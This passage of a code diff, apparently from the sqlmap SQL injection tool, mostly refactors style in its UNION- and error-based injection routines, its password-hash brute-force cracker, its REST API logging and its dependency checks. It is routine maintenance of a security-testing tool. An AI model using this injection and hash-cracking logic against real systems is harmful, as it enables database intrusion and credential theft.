or extractRegexResult(trimcheck, threadData.lastRedirectMsg[1] if threadData.lastRedirectMsg and threadData.lastRedirectMsg[0] == threadData.lastRequestUID else None) extractRegexResult(trimcheck, listToStrValue((headers[header] for header in headers if header.lower() != HTTP_HEADER.URI.lower()) if headers else None)) or
extractRegexResult(trimcheck, threadData.lastRedirectMsg[1] if threadData.lastRedirectMsg and threadData.lastRedirectMsg[0] == threadData.lastRequestUID else None)
)
if trimmed: if trimmed:
if not chunkTest: if not chunkTest:
@@ -308,12 +311,7 @@ def errorUse(expression, dump=False):
# entry at a time # entry at a time
# NOTE: we assume that only queries that get data from a table can # NOTE: we assume that only queries that get data from a table can
# return multiple entries # return multiple entries
if (dump and (conf.limitStart or conf.limitStop)) or (" FROM " in \ if (dump and (conf.limitStart or conf.limitStop)) or (" FROM " in expression.upper() and ((Backend.getIdentifiedDbms() not in FROM_DUMMY_TABLE) or (Backend.getIdentifiedDbms() in FROM_DUMMY_TABLE and not expression.upper().endswith(FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()]))) and ("(CASE" not in expression.upper() or ("(CASE" in expression.upper() and "WHEN use" in expression))) and not re.search(SQL_SCALAR_REGEX, expression, re.I):
expression.upper() and ((Backend.getIdentifiedDbms() not in FROM_DUMMY_TABLE) \
or (Backend.getIdentifiedDbms() in FROM_DUMMY_TABLE and not \
expression.upper().endswith(FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()]))) \
and ("(CASE" not in expression.upper() or ("(CASE" in expression.upper() and "WHEN use" in expression))) \
and not re.search(SQL_SCALAR_REGEX, expression, re.I):
expression, limitCond, topLimit, startLimit, stopLimit = agent.limitCondition(expression, dump) expression, limitCond, topLimit, startLimit, stopLimit = agent.limitCondition(expression, dump)
if limitCond: if limitCond:
+15 -13
View File
@@ -48,15 +48,15 @@ def _findUnionCharCount(comment, place, parameter, value, prefix, suffix, where=
""" """
retVal = None retVal = None
def _orderByTechnique(): def _orderByTechnique(lowerCount, upperCount):
def _orderByTest(cols): def _orderByTest(cols):
query = agent.prefixQuery("ORDER BY %d" % cols, prefix=prefix) query = agent.prefixQuery("ORDER BY %d" % cols, prefix=prefix)
query = agent.suffixQuery(query, suffix=suffix, comment=comment) query = agent.suffixQuery(query, suffix=suffix, comment=comment)
payload = agent.payload(newValue=query, place=place, parameter=parameter, where=where) payload = agent.payload(newValue=query, place=place, parameter=parameter, where=where)
page, headers, code = Request.queryPage(payload, place=place, content=True, raise404=False) page, headers, code = Request.queryPage(payload, place=place, content=True, raise404=False)
return not any(re.search(_, page or "", re.I) and not re.search(_, kb.pageTemplate or "", re.I) for _ in ("(warning|error):", "order by", "unknown column", "failed")) and comparison(page, headers, code) or re.search(r"data types cannot be compared or sorted", page or "", re.I) return not any(re.search(_, page or "", re.I) and not re.search(_, kb.pageTemplate or "", re.I) for _ in ("(warning|error):", "order by", "unknown column", "failed")) and not kb.heavilyDynamic and comparison(page, headers, code) or re.search(r"data types cannot be compared or sorted", page or "", re.I) is not None
if _orderByTest(1) and not _orderByTest(randomInt()): if _orderByTest(1 if lowerCount is None else lowerCount) and not _orderByTest(randomInt() if upperCount is None else upperCount + 1):
infoMsg = "'ORDER BY' technique appears to be usable. " infoMsg = "'ORDER BY' technique appears to be usable. "
infoMsg += "This should reduce the time needed " infoMsg += "This should reduce the time needed "
infoMsg += "to find the right number " infoMsg += "to find the right number "
@@ -64,10 +64,10 @@ def _findUnionCharCount(comment, place, parameter, value, prefix, suffix, where=
infoMsg += "range for current UNION query injection technique test" infoMsg += "range for current UNION query injection technique test"
singleTimeLogMessage(infoMsg) singleTimeLogMessage(infoMsg)
lowCols, highCols = 1, ORDER_BY_STEP lowCols, highCols = 1 if lowerCount is None else lowerCount, ORDER_BY_STEP if upperCount is None else upperCount
found = None found = None
while not found: while not found:
if _orderByTest(highCols): if not conf.uCols and _orderByTest(highCols):
lowCols = highCols lowCols = highCols
highCols += ORDER_BY_STEP highCols += ORDER_BY_STEP
else: else:
@@ -88,8 +88,8 @@ def _findUnionCharCount(comment, place, parameter, value, prefix, suffix, where=
kb.errorIsNone = False kb.errorIsNone = False
lowerCount, upperCount = conf.uColsStart, conf.uColsStop lowerCount, upperCount = conf.uColsStart, conf.uColsStop
if lowerCount == 1: if lowerCount == 1 or conf.uCols:
found = kb.orderByColumns or _orderByTechnique() found = kb.orderByColumns or _orderByTechnique(lowerCount, upperCount)
if found: if found:
kb.orderByColumns = found kb.orderByColumns = found
infoMsg = "target URL appears to have %d column%s in query" % (found, 's' if found > 1 else "") infoMsg = "target URL appears to have %d column%s in query" % (found, 's' if found > 1 else "")
@@ -142,14 +142,16 @@ def _findUnionCharCount(comment, place, parameter, value, prefix, suffix, where=
elif abs(max_ - min_) >= MIN_STATISTICAL_RANGE: elif abs(max_ - min_) >= MIN_STATISTICAL_RANGE:
deviation = stdev(ratios) deviation = stdev(ratios)
lower, upper = average(ratios) - UNION_STDEV_COEFF * deviation, average(ratios) + UNION_STDEV_COEFF * deviation
if min_ < lower: if deviation is not None:
retVal = minItem[0] lower, upper = average(ratios) - UNION_STDEV_COEFF * deviation, average(ratios) + UNION_STDEV_COEFF * deviation
if max_ > upper: if min_ < lower:
if retVal is None or abs(max_ - upper) > abs(min_ - lower): retVal = minItem[0]
retVal = maxItem[0]
if max_ > upper:
if retVal is None or abs(max_ - upper) > abs(min_ - lower):
retVal = maxItem[0]
finally: finally:
kb.errorIsNone = popValue() kb.errorIsNone = popValue()
+3 -12
View File
@@ -44,6 +44,7 @@ from lib.core.data import logger
from lib.core.data import queries from lib.core.data import queries
from lib.core.dicts import FROM_DUMMY_TABLE from lib.core.dicts import FROM_DUMMY_TABLE
from lib.core.enums import DBMS from lib.core.enums import DBMS
from lib.core.enums import HTTP_HEADER
from lib.core.enums import PAYLOAD from lib.core.enums import PAYLOAD
from lib.core.exception import SqlmapDataException from lib.core.exception import SqlmapDataException
from lib.core.exception import SqlmapSyntaxException from lib.core.exception import SqlmapSyntaxException
@@ -89,11 +90,7 @@ def _oneShotUnionUse(expression, unpack=True, limited=False):
# Parse the returned page to get the exact UNION-based # Parse the returned page to get the exact UNION-based
# SQL injection output # SQL injection output
def _(regex): def _(regex):
return reduce(lambda x, y: x if x is not None else y, (\ return reduce(lambda x, y: x if x is not None else y, (extractRegexResult(regex, removeReflectiveValues(page, payload), re.DOTALL | re.IGNORECASE), extractRegexResult(regex, removeReflectiveValues(listToStrValue((_ for _ in headers.headers if not _.startswith(HTTP_HEADER.URI)) if headers else None), payload, True), re.DOTALL | re.IGNORECASE)), None)
extractRegexResult(regex, removeReflectiveValues(page, payload), re.DOTALL | re.IGNORECASE), \
extractRegexResult(regex, removeReflectiveValues(listToStrValue(headers.headers \
if headers else None), payload, True), re.DOTALL | re.IGNORECASE)), \
None)
# Automatically patching last char trimming cases # Automatically patching last char trimming cases
if kb.chars.stop not in (page or "") and kb.chars.stop[:-1] in (page or ""): if kb.chars.stop not in (page or "") and kb.chars.stop[:-1] in (page or ""):
@@ -236,13 +233,7 @@ def unionUse(expression, unpack=True, dump=False):
# SQL limiting the query output one entry at a time # SQL limiting the query output one entry at a time
# NOTE: we assume that only queries that get data from a table can # NOTE: we assume that only queries that get data from a table can
# return multiple entries # return multiple entries
if value is None and (kb.injection.data[PAYLOAD.TECHNIQUE.UNION].where == PAYLOAD.WHERE.NEGATIVE or \ if value is None and (kb.injection.data[PAYLOAD.TECHNIQUE.UNION].where == PAYLOAD.WHERE.NEGATIVE or kb.forcePartialUnion or (dump and (conf.limitStart or conf.limitStop)) or "LIMIT " in expression.upper()) and " FROM " in expression.upper() and ((Backend.getIdentifiedDbms() not in FROM_DUMMY_TABLE) or (Backend.getIdentifiedDbms() in FROM_DUMMY_TABLE and not expression.upper().endswith(FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()]))) and not re.search(SQL_SCALAR_REGEX, expression, re.I):
kb.forcePartialUnion or \
(dump and (conf.limitStart or conf.limitStop)) or "LIMIT " in expression.upper()) and \
" FROM " in expression.upper() and ((Backend.getIdentifiedDbms() \
not in FROM_DUMMY_TABLE) or (Backend.getIdentifiedDbms() in FROM_DUMMY_TABLE \
and not expression.upper().endswith(FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()]))) \
and not re.search(SQL_SCALAR_REGEX, expression, re.I):
expression, limitCond, topLimit, startLimit, stopLimit = agent.limitCondition(expression, dump) expression, limitCond, topLimit, startLimit, stopLimit = agent.limitCondition(expression, dump)
if limitCond: if limitCond:
+6 -18
View File
@@ -45,7 +45,6 @@ from lib.core.settings import RESTAPI_DEFAULT_ADDRESS
from lib.core.settings import RESTAPI_DEFAULT_PORT from lib.core.settings import RESTAPI_DEFAULT_PORT
from lib.core.subprocessng import Popen from lib.core.subprocessng import Popen
from lib.parse.cmdline import cmdLineParser from lib.parse.cmdline import cmdLineParser
from thirdparty.bottle.bottle import abort
from thirdparty.bottle.bottle import error as return_error from thirdparty.bottle.bottle import error as return_error
from thirdparty.bottle.bottle import get from thirdparty.bottle.bottle import get
from thirdparty.bottle.bottle import hook from thirdparty.bottle.bottle import hook
@@ -95,7 +94,7 @@ class Database(object):
else: else:
self.cursor.execute(statement) self.cursor.execute(statement)
except sqlite3.OperationalError, ex: except sqlite3.OperationalError, ex:
if not "locked" in getSafeExString(ex): if "locked" not in getSafeExString(ex):
raise raise
else: else:
break break
@@ -104,22 +103,11 @@ class Database(object):
return self.cursor.fetchall() return self.cursor.fetchall()
def init(self): def init(self):
self.execute("CREATE TABLE logs(" self.execute("CREATE TABLE logs(id INTEGER PRIMARY KEY AUTOINCREMENT, taskid INTEGER, time TEXT, level TEXT, message TEXT)")
"id INTEGER PRIMARY KEY AUTOINCREMENT, "
"taskid INTEGER, time TEXT, "
"level TEXT, message TEXT"
")")
self.execute("CREATE TABLE data(" self.execute("CREATE TABLE data(id INTEGER PRIMARY KEY AUTOINCREMENT, taskid INTEGER, status INTEGER, content_type INTEGER, value TEXT)")
"id INTEGER PRIMARY KEY AUTOINCREMENT, "
"taskid INTEGER, status INTEGER, "
"content_type INTEGER, value TEXT"
")")
self.execute("CREATE TABLE errors(" self.execute("CREATE TABLE errors(id INTEGER PRIMARY KEY AUTOINCREMENT, taskid INTEGER, error TEXT)")
"id INTEGER PRIMARY KEY AUTOINCREMENT, "
"taskid INTEGER, error TEXT"
")")
class Task(object): class Task(object):
def __init__(self, taskid, remote_addr): def __init__(self, taskid, remote_addr):
@@ -278,7 +266,7 @@ def setRestAPILog():
conf.databaseCursor = Database(conf.database) conf.databaseCursor = Database(conf.database)
conf.databaseCursor.connect("client") conf.databaseCursor.connect("client")
except sqlite3.OperationalError, ex: except sqlite3.OperationalError, ex:
raise SqlmapConnectionException, "%s ('%s')" % (ex, conf.database) raise SqlmapConnectionException("%s ('%s')" % (ex, conf.database))
# Set a logging handler that writes log messages to a IPC database # Set a logging handler that writes log messages to a IPC database
logger.removeHandler(LOGGER_HANDLER) logger.removeHandler(LOGGER_HANDLER)
@@ -861,7 +849,7 @@ def client(host=RESTAPI_DEFAULT_ADDRESS, port=RESTAPI_DEFAULT_PORT, username=Non
return return
elif command in ("help", "?"): elif command in ("help", "?"):
msg = "help Show this help message\n" msg = "help Show this help message\n"
msg += "new ARGS Start a new scan task with provided arguments (e.g. 'new -u \"http://testphp.vulnweb.com/artists.php?artist=1\"')\n" msg += "new ARGS Start a new scan task with provided arguments (e.g. 'new -u \"http://testphp.vulnweb.com/artists.php?artist=1\"')\n"
msg += "use TASKID Switch current context to different task (e.g. 'use c04d8c5c7582efb4')\n" msg += "use TASKID Switch current context to different task (e.g. 'use c04d8c5c7582efb4')\n"
msg += "data Retrieve and show data for current task\n" msg += "data Retrieve and show data for current task\n"
+1 -1
View File
@@ -167,7 +167,7 @@ def crawl(target):
if not conf.bulkFile: if not conf.bulkFile:
logger.info("searching for links with depth %d" % (i + 1)) logger.info("searching for links with depth %d" % (i + 1))
runThreads(numThreads, crawlThread, threadChoice=(i>0)) runThreads(numThreads, crawlThread, threadChoice=(i > 0))
clearConsoleLine(True) clearConsoleLine(True)
if threadData.shared.deeper: if threadData.shared.deeper:
+6 -7
View File
@@ -25,7 +25,7 @@ def checkDependencies():
if not hasattr(pymssql, "__version__") or pymssql.__version__ < "1.0.2": if not hasattr(pymssql, "__version__") or pymssql.__version__ < "1.0.2":
warnMsg = "'%s' third-party library must be " % data[1] warnMsg = "'%s' third-party library must be " % data[1]
warnMsg += "version >= 1.0.2 to work properly. " warnMsg += "version >= 1.0.2 to work properly. "
warnMsg += "Download from %s" % data[2] warnMsg += "Download from '%s'" % data[2]
logger.warn(warnMsg) logger.warn(warnMsg)
elif dbmsName == DBMS.MYSQL: elif dbmsName == DBMS.MYSQL:
__import__("pymysql") __import__("pymysql")
@@ -49,7 +49,7 @@ def checkDependencies():
except: except:
warnMsg = "sqlmap requires '%s' third-party library " % data[1] warnMsg = "sqlmap requires '%s' third-party library " % data[1]
warnMsg += "in order to directly connect to the DBMS " warnMsg += "in order to directly connect to the DBMS "
warnMsg += "'%s'. Download from %s" % (dbmsName, data[2]) warnMsg += "'%s'. Download from '%s'" % (dbmsName, data[2])
logger.warn(warnMsg) logger.warn(warnMsg)
missing_libraries.add(data[1]) missing_libraries.add(data[1])
@@ -65,7 +65,7 @@ def checkDependencies():
except ImportError: except ImportError:
warnMsg = "sqlmap requires 'python-impacket' third-party library for " warnMsg = "sqlmap requires 'python-impacket' third-party library for "
warnMsg += "out-of-band takeover feature. Download from " warnMsg += "out-of-band takeover feature. Download from "
warnMsg += "http://code.google.com/p/impacket/" warnMsg += "'http://code.google.com/p/impacket/'"
logger.warn(warnMsg) logger.warn(warnMsg)
missing_libraries.add('python-impacket') missing_libraries.add('python-impacket')
@@ -76,7 +76,7 @@ def checkDependencies():
except ImportError: except ImportError:
warnMsg = "sqlmap requires 'python-ntlm' third-party library " warnMsg = "sqlmap requires 'python-ntlm' third-party library "
warnMsg += "if you plan to attack a web application behind NTLM " warnMsg += "if you plan to attack a web application behind NTLM "
warnMsg += "authentication. Download from http://code.google.com/p/python-ntlm/" warnMsg += "authentication. Download from 'http://code.google.com/p/python-ntlm/'"
logger.warn(warnMsg) logger.warn(warnMsg)
missing_libraries.add('python-ntlm') missing_libraries.add('python-ntlm')
@@ -87,7 +87,7 @@ def checkDependencies():
except ImportError: except ImportError:
warnMsg = "sqlmap requires 'websocket-client' third-party library " warnMsg = "sqlmap requires 'websocket-client' third-party library "
warnMsg += "if you plan to attack a web application using WebSocket. " warnMsg += "if you plan to attack a web application using WebSocket. "
warnMsg += "Download from https://pypi.python.org/pypi/websocket-client/" warnMsg += "Download from 'https://pypi.python.org/pypi/websocket-client/'"
logger.warn(warnMsg) logger.warn(warnMsg)
missing_libraries.add('websocket-client') missing_libraries.add('websocket-client')
@@ -101,11 +101,10 @@ def checkDependencies():
warnMsg += "be able to take advantage of the sqlmap TAB " warnMsg += "be able to take advantage of the sqlmap TAB "
warnMsg += "completion and history support features in the SQL " warnMsg += "completion and history support features in the SQL "
warnMsg += "shell and OS shell. Download from " warnMsg += "shell and OS shell. Download from "
warnMsg += "http://ipython.scipy.org/moin/PyReadline/Intro" warnMsg += "'http://ipython.scipy.org/moin/PyReadline/Intro'"
logger.warn(warnMsg) logger.warn(warnMsg)
missing_libraries.add('python-pyreadline') missing_libraries.add('python-pyreadline')
if len(missing_libraries) == 0: if len(missing_libraries) == 0:
infoMsg = "all dependencies are installed" infoMsg = "all dependencies are installed"
logger.info(infoMsg) logger.info(infoMsg)
+2 -3
View File
@@ -25,7 +25,7 @@ class _Getch(object):
class _GetchUnix(object): class _GetchUnix(object):
def __init__(self): def __init__(self):
import tty __import__("tty")
def __call__(self): def __call__(self):
import sys import sys
@@ -44,7 +44,7 @@ class _GetchUnix(object):
class _GetchWindows(object): class _GetchWindows(object):
def __init__(self): def __init__(self):
import msvcrt __import__("msvcrt")
def __call__(self): def __call__(self):
import msvcrt import msvcrt
@@ -81,4 +81,3 @@ class _GetchMacCarbon(object):
getch = _Getch() getch = _Getch()
+49 -46
View File
@@ -16,6 +16,9 @@ try:
# problems on FreeBSD (Reference: http://www.eggheadcafe.com/microsoft/Python/35880259/multiprocessing-on-freebsd.aspx) # problems on FreeBSD (Reference: http://www.eggheadcafe.com/microsoft/Python/35880259/multiprocessing-on-freebsd.aspx)
_ = multiprocessing.Queue() _ = multiprocessing.Queue()
# problems with ctypes (Reference: https://github.com/sqlmapproject/sqlmap/issues/2952)
_ = multiprocessing.Value('i')
except (ImportError, OSError): except (ImportError, OSError):
pass pass
else: else:
@@ -132,7 +135,6 @@ def postgres_passwd(password, username, uppercase=False):
'md599e5ea7a6f7c3269995cba3927fd0093' 'md599e5ea7a6f7c3269995cba3927fd0093'
""" """
if isinstance(username, unicode): if isinstance(username, unicode):
username = unicode.encode(username, UNICODE_ENCODING) username = unicode.encode(username, UNICODE_ENCODING)
@@ -377,7 +379,7 @@ def unix_md5_passwd(password, salt, magic="$1$", **kwargs):
ctx = password + magic + salt ctx = password + magic + salt
final = md5(password + salt + password).digest() final = md5(password + salt + password).digest()
for pl in xrange(len(password),0,-16): for pl in xrange(len(password), 0, -16):
if pl > 16: if pl > 16:
ctx = ctx + final[:16] ctx = ctx + final[:16]
else: else:
@@ -386,7 +388,7 @@ def unix_md5_passwd(password, salt, magic="$1$", **kwargs):
i = len(password) i = len(password)
while i: while i:
if i & 1: if i & 1:
ctx = ctx + chr(0) #if ($i & 1) { $ctx->add(pack("C", 0)); } ctx = ctx + chr(0) # if ($i & 1) { $ctx->add(pack("C", 0)); }
else: else:
ctx = ctx + password[0] ctx = ctx + password[0]
i = i >> 1 i = i >> 1
@@ -414,7 +416,7 @@ def unix_md5_passwd(password, salt, magic="$1$", **kwargs):
final = md5(ctx1).digest() final = md5(ctx1).digest()
hash_ = _encode64((int(ord(final[0])) << 16) | (int(ord(final[6])) << 8) | (int(ord(final[12]))),4) hash_ = _encode64((int(ord(final[0])) << 16) | (int(ord(final[6])) << 8) | (int(ord(final[12]))), 4)
hash_ = hash_ + _encode64((int(ord(final[1])) << 16) | (int(ord(final[7])) << 8) | (int(ord(final[13]))), 4) hash_ = hash_ + _encode64((int(ord(final[1])) << 16) | (int(ord(final[7])) << 8) | (int(ord(final[13]))), 4)
hash_ = hash_ + _encode64((int(ord(final[2])) << 16) | (int(ord(final[8])) << 8) | (int(ord(final[14]))), 4) hash_ = hash_ + _encode64((int(ord(final[2])) << 16) | (int(ord(final[8])) << 8) | (int(ord(final[14]))), 4)
hash_ = hash_ + _encode64((int(ord(final[3])) << 16) | (int(ord(final[9])) << 8) | (int(ord(final[15]))), 4) hash_ = hash_ + _encode64((int(ord(final[3])) << 16) | (int(ord(final[9])) << 8) | (int(ord(final[15]))), 4)
@@ -519,38 +521,38 @@ def wordpress_passwd(password, salt, count, prefix, **kwargs):
return "%s%s" % (prefix, _encode64(hash_, 16)) return "%s%s" % (prefix, _encode64(hash_, 16))
__functions__ = { __functions__ = {
HASH.MYSQL: mysql_passwd, HASH.MYSQL: mysql_passwd,
HASH.MYSQL_OLD: mysql_old_passwd, HASH.MYSQL_OLD: mysql_old_passwd,
HASH.POSTGRES: postgres_passwd, HASH.POSTGRES: postgres_passwd,
HASH.MSSQL: mssql_passwd, HASH.MSSQL: mssql_passwd,
HASH.MSSQL_OLD: mssql_old_passwd, HASH.MSSQL_OLD: mssql_old_passwd,
HASH.MSSQL_NEW: mssql_new_passwd, HASH.MSSQL_NEW: mssql_new_passwd,
HASH.ORACLE: oracle_passwd, HASH.ORACLE: oracle_passwd,
HASH.ORACLE_OLD: oracle_old_passwd, HASH.ORACLE_OLD: oracle_old_passwd,
HASH.MD5_GENERIC: md5_generic_passwd, HASH.MD5_GENERIC: md5_generic_passwd,
HASH.SHA1_GENERIC: sha1_generic_passwd, HASH.SHA1_GENERIC: sha1_generic_passwd,
HASH.SHA224_GENERIC: sha224_generic_passwd, HASH.SHA224_GENERIC: sha224_generic_passwd,
HASH.SHA256_GENERIC: sha256_generic_passwd, HASH.SHA256_GENERIC: sha256_generic_passwd,
HASH.SHA384_GENERIC: sha384_generic_passwd, HASH.SHA384_GENERIC: sha384_generic_passwd,
HASH.SHA512_GENERIC: sha512_generic_passwd, HASH.SHA512_GENERIC: sha512_generic_passwd,
HASH.CRYPT_GENERIC: crypt_generic_passwd, HASH.CRYPT_GENERIC: crypt_generic_passwd,
HASH.JOOMLA: joomla_passwd, HASH.JOOMLA: joomla_passwd,
HASH.DJANGO_MD5: django_md5_passwd, HASH.DJANGO_MD5: django_md5_passwd,
HASH.DJANGO_SHA1: django_sha1_passwd, HASH.DJANGO_SHA1: django_sha1_passwd,
HASH.WORDPRESS: wordpress_passwd, HASH.WORDPRESS: wordpress_passwd,
HASH.APACHE_MD5_CRYPT: unix_md5_passwd, HASH.APACHE_MD5_CRYPT: unix_md5_passwd,
HASH.UNIX_MD5_CRYPT: unix_md5_passwd, HASH.UNIX_MD5_CRYPT: unix_md5_passwd,
HASH.APACHE_SHA1: apache_sha1_passwd, HASH.APACHE_SHA1: apache_sha1_passwd,
HASH.VBULLETIN: vbulletin_passwd, HASH.VBULLETIN: vbulletin_passwd,
HASH.VBULLETIN_OLD: vbulletin_passwd, HASH.VBULLETIN_OLD: vbulletin_passwd,
HASH.SSHA: ssha_passwd, HASH.SSHA: ssha_passwd,
HASH.SSHA256: ssha256_passwd, HASH.SSHA256: ssha256_passwd,
HASH.SSHA512: ssha512_passwd, HASH.SSHA512: ssha512_passwd,
HASH.MD5_BASE64: md5_generic_passwd, HASH.MD5_BASE64: md5_generic_passwd,
HASH.SHA1_BASE64: sha1_generic_passwd, HASH.SHA1_BASE64: sha1_generic_passwd,
HASH.SHA256_BASE64: sha256_generic_passwd, HASH.SHA256_BASE64: sha256_generic_passwd,
HASH.SHA512_BASE64: sha512_generic_passwd, HASH.SHA512_BASE64: sha512_generic_passwd,
} }
def storeHashesToFile(attack_dict): def storeHashesToFile(attack_dict):
if not attack_dict: if not attack_dict:
@@ -693,9 +695,7 @@ def hashRecognition(value):
if isinstance(value, basestring): if isinstance(value, basestring):
for name, regex in getPublicTypeMembers(HASH): for name, regex in getPublicTypeMembers(HASH):
# Hashes for Oracle and old MySQL look the same hence these checks # Hashes for Oracle and old MySQL look the same hence these checks
if isOracle and regex == HASH.MYSQL_OLD: if isOracle and regex == HASH.MYSQL_OLD or isMySQL and regex == HASH.ORACLE_OLD:
continue
elif isMySQL and regex == HASH.ORACLE_OLD:
continue continue
elif regex == HASH.CRYPT_GENERIC: elif regex == HASH.CRYPT_GENERIC:
if any((value.lower() == value, value.upper() == value)): if any((value.lower() == value, value.upper() == value)):
@@ -712,7 +712,7 @@ def _bruteProcessVariantA(attack_info, hash_regex, suffix, retVal, proc_id, proc
count = 0 count = 0
rotator = 0 rotator = 0
hashes = set([item[0][1] for item in attack_info]) hashes = set(item[0][1] for item in attack_info)
wordlist = Wordlist(wordlists, proc_id, getattr(proc_count, "value", 0), custom_wordlist) wordlist = Wordlist(wordlists, proc_id, getattr(proc_count, "value", 0), custom_wordlist)
@@ -721,6 +721,8 @@ def _bruteProcessVariantA(attack_info, hash_regex, suffix, retVal, proc_id, proc
if not attack_info: if not attack_info:
break break
count += 1
if not isinstance(word, basestring): if not isinstance(word, basestring):
continue continue
@@ -730,8 +732,6 @@ def _bruteProcessVariantA(attack_info, hash_regex, suffix, retVal, proc_id, proc
try: try:
current = __functions__[hash_regex](password=word, uppercase=False) current = __functions__[hash_regex](password=word, uppercase=False)
count += 1
if current in hashes: if current in hashes:
for item in attack_info[:]: for item in attack_info[:]:
((user, hash_), _) = item ((user, hash_), _) = item
@@ -758,7 +758,7 @@ def _bruteProcessVariantA(attack_info, hash_regex, suffix, retVal, proc_id, proc
if rotator >= len(ROTATING_CHARS): if rotator >= len(ROTATING_CHARS):
rotator = 0 rotator = 0
status = 'current status: %s... %s' % (word.ljust(5)[:5], ROTATING_CHARS[rotator]) status = "current status: %s... %s" % (word.ljust(5)[:5], ROTATING_CHARS[rotator])
if not api: if not api:
dataToStdout("\r[%s] [INFO] %s" % (time.strftime("%X"), status)) dataToStdout("\r[%s] [INFO] %s" % (time.strftime("%X"), status))
@@ -796,7 +796,6 @@ def _bruteProcessVariantB(user, hash_, kwargs, hash_regex, suffix, retVal, found
if found.value: if found.value:
break break
current = __functions__[hash_regex](password=word, uppercase=False, **kwargs)
count += 1 count += 1
if not isinstance(word, basestring): if not isinstance(word, basestring):
@@ -806,6 +805,8 @@ def _bruteProcessVariantB(user, hash_, kwargs, hash_regex, suffix, retVal, found
word = word + suffix word = word + suffix
try: try:
current = __functions__[hash_regex](password=word, uppercase=False, **kwargs)
if hash_ == current: if hash_ == current:
if hash_regex == HASH.ORACLE_OLD: # only for cosmetic purposes if hash_regex == HASH.ORACLE_OLD: # only for cosmetic purposes
word = word.upper() word = word.upper()
@@ -827,12 +828,14 @@ def _bruteProcessVariantB(user, hash_, kwargs, hash_regex, suffix, retVal, found
elif (proc_id == 0 or getattr(proc_count, "value", 0) == 1) and count % HASH_MOD_ITEM_DISPLAY == 0: elif (proc_id == 0 or getattr(proc_count, "value", 0) == 1) and count % HASH_MOD_ITEM_DISPLAY == 0:
rotator += 1 rotator += 1
if rotator >= len(ROTATING_CHARS): if rotator >= len(ROTATING_CHARS):
rotator = 0 rotator = 0
status = 'current status: %s... %s' % (word.ljust(5)[:5], ROTATING_CHARS[rotator])
status = "current status: %s... %s" % (word.ljust(5)[:5], ROTATING_CHARS[rotator])
if user and not user.startswith(DUMMY_USER_PREFIX): if user and not user.startswith(DUMMY_USER_PREFIX):
status += ' (user: %s)' % user status += " (user: %s)" % user
if not api: if not api:
dataToStdout("\r[%s] [INFO] %s" % (time.strftime("%X"), status)) dataToStdout("\r[%s] [INFO] %s" % (time.strftime("%X"), status))
+1 -1
View File
@@ -92,7 +92,7 @@ class HashDB(object):
except sqlite3.DatabaseError, ex: except sqlite3.DatabaseError, ex:
errMsg = "error occurred while accessing session file '%s' ('%s'). " % (self.filepath, getSafeExString(ex)) errMsg = "error occurred while accessing session file '%s' ('%s'). " % (self.filepath, getSafeExString(ex))
errMsg += "If the problem persists please rerun with `--flush-session`" errMsg += "If the problem persists please rerun with `--flush-session`"
raise SqlmapConnectionException, errMsg raise SqlmapConnectionException(errMsg)
else: else:
break break
+252 -252
View File
@@ -8,256 +8,256 @@ See the file 'LICENSE' for copying permission
# Reference: http://www.w3.org/TR/1999/REC-html401-19991224/sgml/entities.html # Reference: http://www.w3.org/TR/1999/REC-html401-19991224/sgml/entities.html
htmlEntities = { htmlEntities = {
'quot': 34, "quot": 34,
'amp': 38, "amp": 38,
'lt': 60, "lt": 60,
'gt': 62, "gt": 62,
'nbsp': 160, "nbsp": 160,
'iexcl': 161, "iexcl": 161,
'cent': 162, "cent": 162,
'pound': 163, "pound": 163,
'curren': 164, "curren": 164,
'yen': 165, "yen": 165,
'brvbar': 166, "brvbar": 166,
'sect': 167, "sect": 167,
'uml': 168, "uml": 168,
'copy': 169, "copy": 169,
'ordf': 170, "ordf": 170,
'laquo': 171, "laquo": 171,
'not': 172, "not": 172,
'shy': 173, "shy": 173,
'reg': 174, "reg": 174,
'macr': 175, "macr": 175,
'deg': 176, "deg": 176,
'plusmn': 177, "plusmn": 177,
'sup2': 178, "sup2": 178,
'sup3': 179, "sup3": 179,
'acute': 180, "acute": 180,
'micro': 181, "micro": 181,
'para': 182, "para": 182,
'middot': 183, "middot": 183,
'cedil': 184, "cedil": 184,
'sup1': 185, "sup1": 185,
'ordm': 186, "ordm": 186,
'raquo': 187, "raquo": 187,
'frac14': 188, "frac14": 188,
'frac12': 189, "frac12": 189,
'frac34': 190, "frac34": 190,
'iquest': 191, "iquest": 191,
'Agrave': 192, "Agrave": 192,
'Aacute': 193, "Aacute": 193,
'Acirc': 194, "Acirc": 194,
'Atilde': 195, "Atilde": 195,
'Auml': 196, "Auml": 196,
'Aring': 197, "Aring": 197,
'AElig': 198, "AElig": 198,
'Ccedil': 199, "Ccedil": 199,
'Egrave': 200, "Egrave": 200,
'Eacute': 201, "Eacute": 201,
'Ecirc': 202, "Ecirc": 202,
'Euml': 203, "Euml": 203,
'Igrave': 204, "Igrave": 204,
'Iacute': 205, "Iacute": 205,
'Icirc': 206, "Icirc": 206,
'Iuml': 207, "Iuml": 207,
'ETH': 208, "ETH": 208,
'Ntilde': 209, "Ntilde": 209,
'Ograve': 210, "Ograve": 210,
'Oacute': 211, "Oacute": 211,
'Ocirc': 212, "Ocirc": 212,
'Otilde': 213, "Otilde": 213,
'Ouml': 214, "Ouml": 214,
'times': 215, "times": 215,
'Oslash': 216, "Oslash": 216,
'Ugrave': 217, "Ugrave": 217,
'Uacute': 218, "Uacute": 218,
'Ucirc': 219, "Ucirc": 219,
'Uuml': 220, "Uuml": 220,
'Yacute': 221, "Yacute": 221,
'THORN': 222, "THORN": 222,
'szlig': 223, "szlig": 223,
'agrave': 224, "agrave": 224,
'aacute': 225, "aacute": 225,
'acirc': 226, "acirc": 226,
'atilde': 227, "atilde": 227,
'auml': 228, "auml": 228,
'aring': 229, "aring": 229,
'aelig': 230, "aelig": 230,
'ccedil': 231, "ccedil": 231,
'egrave': 232, "egrave": 232,
'eacute': 233, "eacute": 233,
'ecirc': 234, "ecirc": 234,
'euml': 235, "euml": 235,
'igrave': 236, "igrave": 236,
'iacute': 237, "iacute": 237,
'icirc': 238, "icirc": 238,
'iuml': 239, "iuml": 239,
'eth': 240, "eth": 240,
'ntilde': 241, "ntilde": 241,
'ograve': 242, "ograve": 242,
'oacute': 243, "oacute": 243,
'ocirc': 244, "ocirc": 244,
'otilde': 245, "otilde": 245,
'ouml': 246, "ouml": 246,
